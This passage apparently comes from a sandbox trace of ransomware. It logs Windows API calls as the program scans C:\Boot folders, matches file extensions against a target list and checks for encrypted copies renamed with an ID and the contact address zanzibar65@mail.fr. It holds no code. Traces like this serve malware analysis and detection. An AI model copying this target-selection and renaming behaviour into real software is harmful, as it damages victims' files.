(lpString=".7z") returned 3 [0267.038] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0267.038] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0267.038] lstrlenW (lpString=".dbf") returned 4 [0267.038] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0267.038] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0267.038] lstrlenW (lpString=".1cd") returned 4 [0267.038] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0267.038] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0267.038] lstrlenW (lpString=".jpg") returned 4 [0267.038] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0267.038] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0267.038] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0267.038] lstrlenW (lpString=".doc") returned 4 [0267.038] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0267.038] lstrlenW (lpString=".docx") returned 5 [0267.038] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0267.038] lstrlenW (lpString=".pdf") returned 4 [0267.038] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0267.038] lstrlenW (lpString=".xls") returned 4 [0267.038] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0267.038] lstrlenW (lpString=".xlsx") returned 5 [0267.038] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0267.038] lstrlenW (lpString=".ppt") returned 4 [0267.038] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0267.039] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0267.039] lstrlenW (lpString=".zip") returned 4 [0267.039] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0267.039] lstrlenW (lpString=".rar") returned 4 [0267.039] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0267.039] lstrlenW (lpString=".bz2") returned 4 [0267.039] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0267.039] lstrlenW (lpString=".7z") returned 3 [0267.039] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0267.039] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0267.039] lstrlenW (lpString=".dbf") returned 4 [0267.039] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0267.039] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0267.039] lstrlenW (lpString=".1cd") returned 4 [0267.039] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0267.039] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0267.039] lstrlenW (lpString=".jpg") returned 4 [0267.039] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0267.039] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0267.039] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0267.039] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0267.039] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2e7ff1c | out: lpFileSize=0x2e7ff1c*=87616) returned 1 [0267.039] CloseHandle (hObject=0x2ec) returned 1 [0267.039] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0267.039] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0267.040] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.040] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0267.040] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0267.040] lstrlenW (lpString=".doc") returned 4 [0267.040] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0267.040] lstrlenW (lpString=".docx") returned 5 [0267.040] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0267.040] lstrlenW (lpString=".pdf") returned 4 [0267.040] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0267.040] lstrlenW (lpString=".xls") returned 4 [0267.040] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0267.040] lstrlenW (lpString=".xlsx") returned 5 [0267.040] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0267.040] lstrlenW (lpString=".ppt") returned 4 [0267.040] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0267.040] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0267.040] lstrlenW (lpString=".zip") returned 4 [0267.040] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0267.040] lstrlenW (lpString=".rar") returned 4 [0267.040] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0267.040] lstrlenW (lpString=".bz2") returned 4 [0267.040] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0267.040] lstrlenW (lpString=".7z") returned 3 [0267.040] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0267.040] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0267.040] lstrlenW (lpString=".dbf") returned 4 [0267.040] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0267.040] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0267.040] lstrlenW (lpString=".1cd") returned 4 [0267.040] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0267.040] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0267.040] lstrlenW (lpString=".jpg") returned 4 [0267.040] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0267.041] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0267.041] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0267.041] lstrlenW (lpString=".doc") returned 4 [0267.041] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0267.041] lstrlenW (lpString=".docx") returned 5 [0267.041] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0267.041] lstrlenW (lpString=".pdf") returned 4 [0267.041] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0267.041] lstrlenW (lpString=".xls") returned 4 [0267.041] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0267.041] lstrlenW (lpString=".xlsx") returned 5 [0267.041] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0267.041] lstrlenW (lpString=".ppt") returned 4 [0267.041] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0267.041] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0267.041] lstrlenW (lpString=".zip") returned 4 [0267.041] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0267.041] lstrlenW (lpString=".rar") returned 4 [0267.041] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0267.041] lstrlenW (lpString=".bz2") returned 4 [0267.041] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0267.041] lstrlenW (lpString=".7z") returned 3 [0267.041] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0267.041] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0267.041] lstrlenW (lpString=".dbf") returned 4 [0267.041] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0267.041] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0267.041] lstrlenW (lpString=".1cd") returned 4 [0267.041] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0267.041] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0267.041] lstrlenW (lpString=".jpg") returned 4 [0267.041] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0267.042] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0267.042] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0267.042] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0267.042] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2e7ff1c | out: lpFileSize=0x2e7ff1c*=91712) returned 1 [0267.042] CloseHandle (hObject=0x2ec) returned 1 [0267.042] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20 [0267.042] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0267.042] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.042] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0267.042] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0267.042] lstrlenW (lpString=".doc") returned 4 [0267.042] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0267.042] lstrlenW (lpString=".docx") returned 5 [0267.042] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0267.042] lstrlenW (lpString=".pdf") returned 4 [0267.042] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0267.042] lstrlenW (lpString=".xls") returned 4 [0267.042] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0267.042] lstrlenW (lpString=".xlsx") returned 5 [0267.042] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0267.042] lstrlenW (lpString=".ppt") returned 4 [0267.042] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0267.042] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0267.042] lstrlenW (lpString=".zip") returned 4 [0267.042] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0267.042] lstrlenW (lpString=".rar") returned 4 [0267.042] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0267.042] lstrlenW (lpString=".bz2") returned 4 [0267.042] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0267.043] lstrlenW (lpString=".7z") returned 3 [0267.043] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0267.043] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0267.043] lstrlenW (lpString=".dbf") returned 4 [0267.043] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0267.043] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0267.043] lstrlenW (lpString=".1cd") returned 4 [0267.043] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0267.043] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0267.043] lstrlenW (lpString=".jpg") returned 4 [0267.043] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0267.043] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0267.043] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0267.043] lstrlenW (lpString=".doc") returned 4 [0267.043] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0267.043] lstrlenW (lpString=".docx") returned 5 [0267.043] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0267.043] lstrlenW (lpString=".pdf") returned 4 [0267.043] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0267.043] lstrlenW (lpString=".xls") returned 4 [0267.043] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0267.043] lstrlenW (lpString=".xlsx") returned 5 [0267.043] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0267.043] lstrlenW (lpString=".ppt") returned 4 [0267.043] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0267.043] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0267.043] lstrlenW (lpString=".zip") returned 4 [0267.043] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0267.043] lstrlenW (lpString=".rar") returned 4 [0267.043] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0267.043] lstrlenW (lpString=".bz2") returned 4 [0267.043] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0267.043] lstrlenW (lpString=".7z") returned 3 [0267.043] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0267.044] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0267.044] lstrlenW (lpString=".dbf") returned 4 [0267.044] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0267.044] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0267.044] lstrlenW (lpString=".1cd") returned 4 [0267.044] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0267.044] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0267.044] lstrlenW (lpString=".jpg") returned 4 [0267.044] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0267.044] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0267.044] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0267.044] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0267.044] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2e7ff1c | out: lpFileSize=0x2e7ff1c*=94800) returned 1 [0267.044] CloseHandle (hObject=0x2ec) returned 1 [0267.044] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20 [0267.044] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0267.044] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.044] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0267.044] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0267.044] lstrlenW (lpString=".doc") returned 4 [0267.044] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0267.044] lstrlenW (lpString=".docx") returned 5 [0267.044] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0267.044] lstrlenW (lpString=".pdf") returned 4 [0267.045] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0267.045] lstrlenW (lpString=".xls") returned 4 [0267.045] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0267.045] lstrlenW (lpString=".xlsx") returned 5 [0267.045] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0267.045] lstrlenW (lpString=".ppt") returned 4 [0267.045] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0267.045] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0267.045] lstrlenW (lpString=".zip") returned 4 [0267.045] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0267.045] lstrlenW (lpString=".rar") returned 4 [0267.045] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0267.045] lstrlenW (lpString=".bz2") returned 4 [0267.045] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0267.045] lstrlenW (lpString=".7z") returned 3 [0267.045] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0267.045] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0267.045] lstrlenW (lpString=".dbf") returned 4 [0267.045] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0267.045] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0267.045] lstrlenW (lpString=".1cd") returned 4 [0267.045] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0267.045] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0267.045] lstrlenW (lpString=".jpg") returned 4 [0267.045] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0267.045] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0267.045] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0267.045] lstrlenW (lpString=".doc") returned 4 [0267.045] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0267.045] lstrlenW (lpString=".docx") returned 5 [0267.045] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0267.045] lstrlenW (lpString=".pdf") returned 4 [0267.045] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0267.045] lstrlenW (lpString=".xls") returned 4 [0267.045] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0267.046] lstrlenW (lpString=".xlsx") returned 5 [0267.046] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0267.046] lstrlenW (lpString=".ppt") returned 4 [0267.046] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0267.046] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0267.046] lstrlenW (lpString=".zip") returned 4 [0267.046] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0267.046] lstrlenW (lpString=".rar") returned 4 [0267.046] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0267.046] lstrlenW (lpString=".bz2") returned 4 [0267.046] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0267.046] lstrlenW (lpString=".7z") returned 3 [0267.046] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0267.046] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0267.046] lstrlenW (lpString=".dbf") returned 4 [0267.046] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0267.046] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0267.046] lstrlenW (lpString=".1cd") returned 4 [0267.046] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0267.046] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0267.046] lstrlenW (lpString=".jpg") returned 4 [0267.046] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0267.046] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0267.046] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0267.046] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0267.046] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2e7ff1c | out: lpFileSize=0x2e7ff1c*=85056) returned 1 [0267.046] CloseHandle (hObject=0x2ec) returned 1 [0267.047] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui")) returned 0x20 [0267.047] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0267.047] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.047] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0267.047] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0267.047] lstrlenW (lpString=".doc") returned 4 [0267.047] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0267.047] lstrlenW (lpString=".docx") returned 5 [0267.047] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0267.047] lstrlenW (lpString=".pdf") returned 4 [0267.047] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0267.047] lstrlenW (lpString=".xls") returned 4 [0267.047] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0267.047] lstrlenW (lpString=".xlsx") returned 5 [0267.047] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0267.047] lstrlenW (lpString=".ppt") returned 4 [0267.047] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0267.047] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0267.047] lstrlenW (lpString=".zip") returned 4 [0267.047] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0267.047] lstrlenW (lpString=".rar") returned 4 [0267.047] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0267.047] lstrlenW (lpString=".bz2") returned 4 [0267.047] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0267.047] lstrlenW (lpString=".7z") returned 3 [0267.047] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0267.047] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0267.047] lstrlenW (lpString=".dbf") returned 4 [0267.047] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0267.047] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0267.047] lstrlenW (lpString=".1cd") returned 4 [0267.047] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0267.047] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0267.047] lstrlenW (lpString=".jpg") returned 4 [0267.048] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0267.048] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0267.048] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0267.048] lstrlenW (lpString=".doc") returned 4 [0267.048] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0267.048] lstrlenW (lpString=".docx") returned 5 [0267.048] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0267.048] lstrlenW (lpString=".pdf") returned 4 [0267.048] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0267.048] lstrlenW (lpString=".xls") returned 4 [0267.048] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0267.048] lstrlenW (lpString=".xlsx") returned 5 [0267.048] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0267.048] lstrlenW (lpString=".ppt") returned 4 [0267.048] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0267.048] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0267.048] lstrlenW (lpString=".zip") returned 4 [0267.048] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0267.048] lstrlenW (lpString=".rar") returned 4 [0267.048] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0267.048] lstrlenW (lpString=".bz2") returned 4 [0267.048] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0267.048] lstrlenW (lpString=".7z") returned 3 [0267.048] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0267.048] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0267.048] lstrlenW (lpString=".dbf") returned 4 [0267.048] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0267.048] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0267.048] lstrlenW (lpString=".1cd") returned 4 [0267.048] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0267.048] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0267.048] lstrlenW (lpString=".jpg") returned 4 [0267.048] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0267.049] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0267.049] lstrlenW (lpString="memtest.exe.mui") returned 15 [0267.049] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0267.049] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2e7ff1c | out: lpFileSize=0x2e7ff1c*=43600) returned 1 [0267.049] CloseHandle (hObject=0x2ec) returned 1 [0267.049] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui")) returned 0x20 [0267.049] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\boot\\en-us\\memtest.exe.mui.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0267.049] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.049] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0267.049] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0267.049] lstrlenW (lpString=".doc") returned 4 [0267.049] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0267.049] lstrlenW (lpString=".docx") returned 5 [0267.049] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0267.049] lstrlenW (lpString=".pdf") returned 4 [0267.049] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0267.049] lstrlenW (lpString=".xls") returned 4 [0267.049] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0267.049] lstrlenW (lpString=".xlsx") returned 5 [0267.049] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0267.049] lstrlenW (lpString=".ppt") returned 4 [0267.049] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0267.049] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0267.049] lstrlenW (lpString=".zip") returned 4 [0267.049] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0267.049] lstrlenW (lpString=".rar") 